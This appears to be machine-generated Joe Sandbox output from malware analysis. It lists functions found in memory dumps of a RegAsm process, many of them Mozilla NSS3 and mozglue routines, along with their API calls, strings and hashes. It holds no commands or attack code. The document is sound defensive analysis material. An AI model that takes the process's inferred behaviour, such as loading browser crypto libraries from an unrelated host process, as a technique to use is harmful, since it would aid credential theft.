GetDeviceCaps.GDI32(00000000,00000008), ref: 0040F136
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0040F141
ReleaseDC.USER32(00000000,00000000), ref: 0040F14C
GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,?,?,00413685,?,00000000,?,Display Resolution: ,00000000,?,0042447C,00000000,?), ref: 0040F158
HeapAlloc.KERNEL32(00000000,?,00000000,?,?,00413685,?,00000000,?,Display Resolution: ,00000000,?,0042447C,00000000,?,00000000), ref: 0040F15F
wsprintfA.USER32 ref: 0040F171

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Strings

%dx%d, xrefs: 0040F16B

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CapsDeviceHeap$AllocCreateProcessReleaselstrcpywsprintf
String ID: %dx%d
API String ID: 3940144428-2206825331
Opcode ID: d5400ab5e899765734f24bcd051ef394f22412b387631caf6ee355c8132a6173
Instruction ID: 6e618381e5497cca2c90cf862bb896c1ca829adced61d72ddc9c881c941cf6fb
Opcode Fuzzy Hash: d5400ab5e899765734f24bcd051ef394f22412b387631caf6ee355c8132a6173
Instruction Fuzzy Hash: 79F0AD71601224BBD7105FB2BD4DDAF7E7DFF46BA1F000005FA05A2150D77449128BE4

Uniqueness

Uniqueness Score: -1.00%

Function 6CEBCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CEBCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CEBCE16
PR_SetError.NSS3(00000000,00000000), ref: 6CEBD079

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 8858d5aa1f977c3943ceb8e79470fdfe04157c3fbdee411b07e2fd27089dd86e
Instruction ID: 1a7f68d7344160a40d14dea99891f3df13694e61ac57233254d63b5ea28fd6b9
Opcode Fuzzy Hash: 8858d5aa1f977c3943ceb8e79470fdfe04157c3fbdee411b07e2fd27089dd86e
Instruction Fuzzy Hash: 8CC1AEB5A002199BDB11CF24CD80BEAB7B5BF48318F2441A8E948A7741E775EE95CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CDA9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDA8273), ref: 6CDA9D65
free.MOZGLUE(6CDA8273,?), ref: 6CDA9D7C
free.MOZGLUE(?,?), ref: 6CDA9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CDA9E0F
free.MOZGLUE(6CDA946B,?,?), ref: 6CDA9E24
free.MOZGLUE(?,?,?), ref: 6CDA9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CDA9EC8
free.MOZGLUE(6CDA946B,?,?,?), ref: 6CDA9EDF
free.MOZGLUE(?,?,?,?), ref: 6CDA9EF5

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: fea8a50188811e4c644651d2eb84c4fc91ebb6755115f0cea3d1f06fbb711ec9
Instruction ID: bc100e4b62d4786f5c73f464a441fd8aab8ee0cff7cff6ba2c4d948b72eb2f27
Opcode Fuzzy Hash: fea8a50188811e4c644651d2eb84c4fc91ebb6755115f0cea3d1f06fbb711ec9
Instruction Fuzzy Hash: B371A27090AB41CBD712CF58C44055BF3F4FF99315B448619E85A5BB22EB31E9C6CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CE72C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(B18DD258), ref: 6CE72C5D

Part of subcall function 6CED0D30: calloc.MOZGLUE ref: 6CED0D50
Part of subcall function 6CED0D30: TlsGetValue.KERNEL32 ref: 6CED0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CE72C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE72CE0

Part of subcall function 6CE72E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE72CDA,?,00000000), ref: 6CE72E1E
Part of subcall function 6CE72E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE72E33
Part of subcall function 6CE72E00: TlsGetValue.KERNEL32 ref: 6CE72E4E
Part of subcall function 6CE72E00: EnterCriticalSection.KERNEL32(?), ref: 6CE72E5E
Part of subcall function 6CE72E00: PL_HashTableLookup.NSS3(?), ref: 6CE72E71
Part of subcall function 6CE72E00: PL_HashTableRemove.NSS3(?), ref: 6CE72E84
Part of subcall function 6CE72E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE72E96
Part of subcall function 6CE72E00: PR_Unlock.NSS3 ref: 6CE72EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE72D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CE72D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CE72D3F
free.MOZGLUE(00000000), ref: 6CE72D73
CERT_DestroyCertificate.NSS3(?), ref: 6CE72DB8
free.MOZGLUE ref: 6CE72DC8

Part of subcall function 6CE73E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE73EC2
Part of subcall function 6CE73E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE73ED6
Part of subcall function 6CE73E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE73EEE
Part of subcall function 6CE73E60: PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE73F02
Part of subcall function 6CE73E60: PL_FreeArenaPool.NSS3 ref: 6CE73F14
Part of subcall function 6CE73E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE73F27

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 6e0dde0b96f6ebefc2024c63676fcb36aa4e7f0f97e1cae589828737ba20fc16
Instruction ID: 30e6f76e1563e1a7d20a582bb71da4d097bd1988848cd01b526b20179ed0b09a
Opcode Fuzzy Hash: 6e0dde0b96f6ebefc2024c63676fcb36aa4e7f0f97e1cae589828737ba20fc16
Instruction Fuzzy Hash: 0051DC71A04312DBEB219E29DD88B5B77F5EFA434CF25042CE95987710E731E815CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CDADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CDADDCF

Part of subcall function 6CD8FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD8FA4B

Part of subcall function 6CDA90E0: free.MOZGLUE(?,00000000,?,?,6CDADEDB), ref: 6CDA90FF
Part of subcall function 6CDA90E0: free.MOZGLUE(?,00000000,?,?,6CDADEDB), ref: 6CDA9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDADE0D
free.MOZGLUE(00000000), ref: 6CDADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CD9DEFD,?,6CD64A68), ref: 6CDADF32

Part of subcall function 6CDADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CDADB86
Part of subcall function 6CDADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CDADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CD9DEFD,?,6CD64A68), ref: 6CDADF65
free.MOZGLUE(?), ref: 6CDADF80

Part of subcall function 6CD75E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CD75EDB
Part of subcall function 6CD75E90: memset.VCRUNTIME140(6CDB7765,000000E5,55CCCCCC), ref: 6CD75F27
Part of subcall function 6CD75E90: LeaveCriticalSection.KERNEL32(?), ref: 6CD75FB2

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: bea1ddcfaf1c602b192601bf5b1c7b1cd54e4dc7ef572ba8ec7199a8966d9839
Instruction ID: b18e8e28b5fb3ec0a3671893063f983758bdbd0d7bd5b1cff9dd21cb28e7354c
Opcode Fuzzy Hash: bea1ddcfaf1c602b192601bf5b1c7b1cd54e4dc7ef572ba8ec7199a8966d9839
Instruction Fuzzy Hash: 7651C776A01700DBD7219B68C8806AFB3B6BF95308F95051CDD9A53B20DB31F91BCB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CDB5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CDB5C8C,?,6CD8E829), ref: 6CDB5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CDB5C8C,?,6CD8E829), ref: 6CDB5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CDB5C8C,?,6CD8E829), ref: 6CDB5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CDB5C8C,?,6CD8E829), ref: 6CDB5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CDB5C8C,?,6CD8E829), ref: 6CDB5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CDB5C8C,?,6CD8E829), ref: 6CDB5DC9
std::_Facet_Register.LIBCPMT ref: 6CDB5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CDB5C8C,?,6CD8E829), ref: 6CDB5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CDB5C8C,?,6CD8E829), ref: 6CDB5E45

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: d1fc1766289522c5167821312bfb382c25f6f553de479d24d5f8b9a376f33d2d
Instruction ID: 3d66aaa7318325d91a09abbfd45b45bba7e3b200df6867a1a7d150a5f122d49a
Opcode Fuzzy Hash: d1fc1766289522c5167821312bfb382c25f6f553de479d24d5f8b9a376f33d2d
Instruction Fuzzy Hash: 77419274B00305DFDB00DFA5C898AAE77B9EF89718F144169E607A77A1EB30E905CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6CD8CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CD531A7), ref: 6CD8CDDD

Strings

<jemalloc>, xrefs: 6CD8CF9F, 6CD8CFB3
: (malloc) Error in VirtualFree(), xrefs: 6CD8CFA4, 6CD8CFB8

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 938c9c82715445d2a08c5a60696f447666ef8f29d3a42db6097ebdd1f4838d14
Instruction ID: 1ec118ae299d2114531ca90ccfea9a1ea7837436bff6b1a131f778b0c9411a28
Opcode Fuzzy Hash: 938c9c82715445d2a08c5a60696f447666ef8f29d3a42db6097ebdd1f4838d14
Instruction Fuzzy Hash: A7318730B42205EBFF11AFA58C45B6E77B9BB85758F204119F610ABBD0DB71E5008BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD5ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD5F100: LoadLibraryW.KERNEL32(shell32,?,6CDCD020), ref: 6CD5F122
Part of subcall function 6CD5F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CD5F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CD5ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD5EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CD5EDCC
CreateFileW.KERNEL32 ref: 6CD5EE08
free.MOZGLUE(00000000), ref: 6CD5EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CD5EE32

Part of subcall function 6CD5EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CD5EBB5
Part of subcall function 6CD5EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CD8D7F3), ref: 6CD5EBC3
Part of subcall function 6CD5EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CD8D7F3), ref: 6CD5EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CD5EDC1

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 30273e4e75d3599046e68261ce103d26b378731e4290417949bbe56a369a4f8b
Instruction ID: bea55cca6a6f6f559759cfefad2a5cf3e425e0d0b4fed08e733255e24eef3260
Opcode Fuzzy Hash: 30273e4e75d3599046e68261ce103d26b378731e4290417949bbe56a369a4f8b
Instruction Fuzzy Hash: 3551C471E05214DBDF00EF68C8407EEB7B5AF49318F84851DD8956BBA0E734A958C7E2

Uniqueness

Uniqueness Score: -1.00%

Function 6CDCA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CDCA565

Part of subcall function 6CDCA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDCA4BE
Part of subcall function 6CDCA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CDCA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CDCA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CDCA6B6

Strings

0, xrefs: 6CDCA5FB
z, xrefs: 6CDCA6AE

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: ece100a874fcfc081a26a67cea052ba771c0a45f41f4c634450edd1f129cf61a
Instruction ID: d6d898421dbc876decaf124b22e3b933de504e7b49ac3ba45ce6162dd4fe3f9b
Opcode Fuzzy Hash: ece100a874fcfc081a26a67cea052ba771c0a45f41f4c634450edd1f129cf61a
Instruction Fuzzy Hash: AE411A71A097459FC741DF28C480A9BBBF9BF89354F408A2EF49987660EB30D549CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6CE88CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CE9124D,00000001), ref: 6CE88D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CE9124D,00000001), ref: 6CE88D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CE9124D,00000001), ref: 6CE88D73
PR_Unlock.NSS3(?,?,?,?,?,6CE9124D,00000001), ref: 6CE88D8C

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CE9124D,00000001), ref: 6CE88DBA

Strings

KRAM, xrefs: 6CE88D3E
KRAM, xrefs: 6CE88CF9

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 9ef294aa976f9a175f58a0627d80789e6e2bd2523d89508a5ed40f2400febdfa
Instruction ID: c5f8ca5f51949cad015c016b4f53c4daafee5388d4e134043f216c738f8e090f
Opcode Fuzzy Hash: 9ef294aa976f9a175f58a0627d80789e6e2bd2523d89508a5ed40f2400febdfa
Instruction Fuzzy Hash: 3821AEB5A056018FCB50EF38C48466ABBF4FF45318F25896ADC8C87741EB30E842CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CEAACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CEAACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEAAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEAAD23

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEAAD39

Strings

hSession = 0x%x, xrefs: 6CEAACFE, 6CEAAD0E
C_MessageDecryptFinal, xrefs: 6CEAACE1
(CK_INVALID_HANDLE), xrefs: 6CEAAD1C

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: fe372e5b5ac0cea80a09a984274e8810d007476152f6c4b0844d4e37aea756ff
Instruction ID: d480a2602146156560d523e68c60a9258f7e6460c1347c50b967dd03b0b9f1c6
Opcode Fuzzy Hash: fe372e5b5ac0cea80a09a984274e8810d007476152f6c4b0844d4e37aea756ff
Instruction Fuzzy Hash: 64214930A51214AFDB409FB4DD8CB6A7774EB4230DF55442DE80A9BB01DB31AC0ACBD2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF80ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF80EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF80EFA

Part of subcall function 6CE6AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE6AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F2B

Strings

Aborting, xrefs: 6CF80EB3
Assertion failure: %s, at %s:%d, xrefs: 6CF80ED9, 6CF80EE5, 6CF80F06, 6CF80F0B

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

